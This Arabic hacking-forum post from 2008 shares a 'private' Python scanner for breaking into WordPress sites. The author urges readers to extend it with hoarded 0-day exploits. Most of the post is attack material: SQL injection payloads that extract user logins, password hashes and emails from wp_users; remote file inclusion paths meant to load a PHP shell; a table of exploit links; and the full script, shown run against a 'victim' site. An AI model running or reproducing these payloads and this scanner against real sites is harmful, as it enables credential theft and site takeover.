عرض مشاركة واحدة
 
قديم 08-30-2008, 02:06 AM   #1 (permalink)
Dr.the bright boy
عضو فعال
 
الصورة الرمزية Dr.the bright boy







Dr.the bright boy غير متصل

Dr.the bright boy will become famous soon enoughDr.the bright boy will become famous soon enough

افتراضي WordPress Multiple (py) (Ultra-priv8) scanner

بسم الله الرحمن الرحيم

IN THE NAME OF ALLAH THE ENTIRELY MERCIFUL THE SPECIALLY MERCIFUL

كل عام وأنتم بخير .. (رمضان كريم )

كود PHP:
WordPress SQL&RFI&CGI (U-priv8scanner 
أسف جداا على التأخير في وضع السكربت ... لانه الترا برايفت (ممنوع وضعة في منتديات السكربت كيدز)
طبعا سابقا نزلنا جملا قبل فتره وللأسف ما شفت أحد طوره مع أني مستغرب أنه اللي دخلو السكربت تقريبا أكثر من 33 الف وعليها تقريبا

واليوم WordPress لكن هذا السكربت خمسه نجوم في فكرة عمله
... طوره على راحتك لا تنسى

كود:
DON'T DIStrIPUTE for scr1pt-Kiddies
السكربت يحتاج فقط تطوير ( صدقني لو تطورة تضمن WordPress من صالحك في الأختراق ... تقدر تضيف أفكار جديدة تستطيع تجعل السكربت تنفيذي ولو سويت الحركه هذي أنا أعتبرك واحد منا قائمة l337 h4x0rz الحقيقين اللي ما يخترق الا بسكربتاته أو ببرامجه الخاصه ليست من عمل الأخرين ... أيضا تستطيع من خلال الفكرة فقط تبرمجه على أي لغة برمجة تعشقها ..أنا أنتظر البرمجة والتطوير واذا فيه اشكاليات راسلني وسوف اكون مسرور ..الخ ) ..

السكربت رائع من جهات في التطوير يعني لو أكتشفت ثغرات برايفت (0day لاتضعها أبدا وأحتفظ بها لك ولمن تثق به) تقدر تضيفها في قسمها في نفس الكود مثلا :سكيول انجكشن

هذه الفايدة منه SQL will check for md5's in the source


كود:
sqls = ["index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users/*", "index.php?cat=%2527%20UNION%20SELECT%20CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))%20FROM%20wp_users/*", "index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**SELECT**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23", "index?page_id=115&forumaction=showprofile&user=1+union+select+null,concat(user_login,0x2f,user_pass,0x2f,user_email),null,null,null,null,null+from+wp_tbv_users/*", "plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--", "plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--" "plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,conca(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users", "wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users", "plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users", "sf-forum?forum=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", "sf-forum?forum=-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),0,0,0,0,0/**/FROM/**/wp_users/*", "forums?forum=1&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", "index?page_id=13&album=S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201", "wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*", "wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain"]
لو مثلا ريموت فايل انكلوجن واضح أمامك :
كود:
rfis = {"plugins/Enigma2.php":"index/wp-content/plugins/Enigma2.php?boarddir=shell", "mygallery/myfunctions/mygallerybrowser.php":"mygallery/myfunctions/mygallerybrowser.php?myPath=shell", "plugins/wp-table/js/wptable-button.phpp":"plugins/wp-table/js/wptable-button.phpp?wpPATH=shell", "plugins/wordtube/wordtube-button.php":"plugins/wordtube/wordtube-button.php?wpPATH=shell", "plugins/myflash/myflash-button.php":"plugins/myflash/myflash-button.php?wpPATH=shell", "plugins/BackUp/Archive.php":"plugins/BackUp/Archive.php?bkpwp_plugin_path=shell", "plugins/BackUp/Archive/Predicate.php":"plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=shell", "plugins/BackUp/Archive/Writer.php":"plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=shell", "plugins/BackUp/Archive/Reader.php":"plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=shell", "plugins/sniplets/modules/syntax_highlight.php":"plugins/sniplets/modules/syntax_highlight.php?libpath=shell"}

كود:
=shell هنا هو تستطيع تضيف رابط سكربت بي اتش بي شل بأي صيغة تبيها ... مع انه تسطيع تطور الكود هنا وتضيف لمسه سحرية وتخليه رابط الشل على كيفك

كود:
cgis =
أيضا السي جي اي وربطك بمصدر الميل وورم روعة اللي مبرمج السكربت


التطوير يكون من هنا مثلا :

كود:
sqls = تضيف هنا الجديد
كود:
rfis = تضيف هنا الجديد
كود:
cgis = تضيف هنا الجديد
تقدر تضيف لمسه سحرية وتضيف لوكل فايل انكلوجن أو أي ثغرة خاصة لك بأسلوبك ( هنا نكتشف ههههه المبرمجون العرب )


كود:
#!/usr/bin/python #WordPress SQL/RFI/CGI scanner. SQL will check for md5's in the source and RFI/CGI will use import sys, urllib2, re, time, httplib #Bad HTTP Responses BAD_RESP = [400,401,404] def main(path): print "[+] Testing:",host.split("/",1)[1]+path try: h = httplib.HTTP(host.split("/",1)[0]) h.putrequest("HEAD", "/"+host.split("/",1)[1]+path) h.putheader("Host", host.split("/",1)[0]) h.endheaders() resp, reason, headers = h.getreply() return resp, reason, headers.get("Server") except(), msg: print "Error Occurred:",msg pass def timer(): now = time.localtime(time.time()) return time.asctime(now) print "\n\t WordPress (priv8) Scanner v1.0" print "\t------------------------------------------" sqls = ["index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users/*", "index.php?cat=%2527%20UNION%20SELECT%20CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))%20FROM%20wp_users/*", "index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**SELECT**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23", "index?page_id=115&forumaction=showprofile&user=1+union+select+null,concat(user_login,0x2f,user_pass,0x2f,user_email),null,null,null,null,null+from+wp_tbv_users/*", "plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--", "plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--" "plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,conca(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users", "wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users", "plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users", "sf-forum?forum=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", "sf-forum?forum=-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),0,0,0,0,0/**/FROM/**/wp_users/*", "forums?forum=1&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", "index?page_id=13&album=S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201", "wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*", "wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain"] rfis = {"plugins/Enigma2.php":"index/wp-content/plugins/Enigma2.php?boarddir=shell", "mygallery/myfunctions/mygallerybrowser.php":"mygallery/myfunctions/mygallerybrowser.php?myPath=shell", "plugins/wp-table/js/wptable-button.phpp":"plugins/wp-table/js/wptable-button.phpp?wpPATH=shell", "plugins/wordtube/wordtube-button.php":"plugins/wordtube/wordtube-button.php?wpPATH=shell", "plugins/myflash/myflash-button.php":"plugins/myflash/myflash-button.php?wpPATH=shell", "plugins/BackUp/Archive.php":"plugins/BackUp/Archive.php?bkpwp_plugin_path=shell", "plugins/BackUp/Archive/Predicate.php":"plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=shell", "plugins/BackUp/Archive/Writer.php":"plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=shell", "plugins/BackUp/Archive/Reader.php":"plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=shell", "plugins/sniplets/modules/syntax_highlight.php":"plugins/sniplets/modules/syntax_highlight.php?libpath=shell"} cgis = {"wp-trackback.php":"http://milw0rm.com/exploits/3095", "wp-admin/users.php":"http://milw0rm.com/exploits/1059", "xmlrpc.php":"http://milw0rm.com/exploits/1077", "wp-includes/cache.php":"http://milw0rm.com/exploits/6", "wp-trackback.php":"http://milw0rm.com/exploits/3095", "plugins/mygallerytmpl.php":"http://milw0rm.com/exploits/3814", "wp-admin/admin-ajax.php":"http://milw0rm.com/exploits/3960", "wp-app.php":"http://milw0rm.com/exploits/4113", "plugins/pictpress/resize.php":"http://milw0rm.com/exploits/4695", "plugins/wp-filemanager/ajaxfilemanager/ajaxfilemanager.php":"http://milw0rm.com/exploits/4844", "plugins/wp-adserve/adclick.php":"http://milw0rm.com/exploits/5013", "wp-admin/admin.php?page=dmsguestbook":"http://milw0rm.com/exploits/5035", "plugins/downloads-manager/upload.php":"http://milw0rm.com/exploits/6127"} if len(sys.argv) != 2: print "\nUsage: ./wp_scan.py <site+dir>" print "Ex: ././wp_scan.py www.site.com/wp-content/\n" sys.exit(1) host = sys.argv[1].replace("http://","").rsplit("/",1)[0] if host[-1] != "/": host = host+"/" print "\n[+] Site:",host print "[+] SQL Loaded:",len(sqls) print "[+] RFI Loaded:",len(rfis) print "[+] CGI Loaded:",len(cgis) server = main("/")[2] print "[+] Server:",server print "\n[+] Started:",timer() print "\n[+] Scanning: SQL\n" for sql in sqls: time.sleep(2) #Change this if needed print "[+] trying:",sql.replace("\n","") try: source = urllib2.urlopen("http://"+host+sql.replace("\n","")).read() md5s = re.findall("[a-f0-9]"*32,source) if len(md5s) >= 1: print "[!]",host+sql.replace("\n","") for md5 in md5s: print "\n\t[+]MD5:",md5 except(urllib2.HTTPError): pass print "\n[+] Scanning: RFI\n" for rfi, shell in rfis.items(): resp,reason,server = main(rfi) if resp not in BAD_RESP: print "\t[+] Got:",resp, reason print "\t[+] try:",host+shell else: print "\t[-] Got:",resp, reason print "\n[+] Scanning: CGI\n" for cgi, expl in cgis.items(): resp,reason,server = main(cgi) if resp not in BAD_RESP: print "\t[+] Got:",resp, reason print "\t[+] Check:",expl else: print "\t[-] Got:",resp, reason print "\n[-] Done\n"
كود PHP:
jailshell-3.44b~# ./wp_scan.py <site+dir>
3x4mpl3~:
jailshell-3.44b~#  python wp_scan.py www.victim.com/wp-content/
jailshell-3.44b~# ./wp_scan.py www.victim.com/wp-content/ 
أخوكم أسد المخترقين

التوقيع

X_Dr.the bright boy_X
أسد المخترقين


Q8Crackers TeaM Crew

perl/cgi/php/xml/python/jython/ruby/lisp/c/c++/Delphi/j4v4/ASM/ajax/asp/jsp/1337/jailshell/bash/c0b0l/c-fusion/pike/tcl/tk/VXc0de/reb0l/

التعديل الأخير تم بواسطة Dr.the bright boy ; 08-30-2008 الساعة 03:44 AM.
  رد مع اقتباس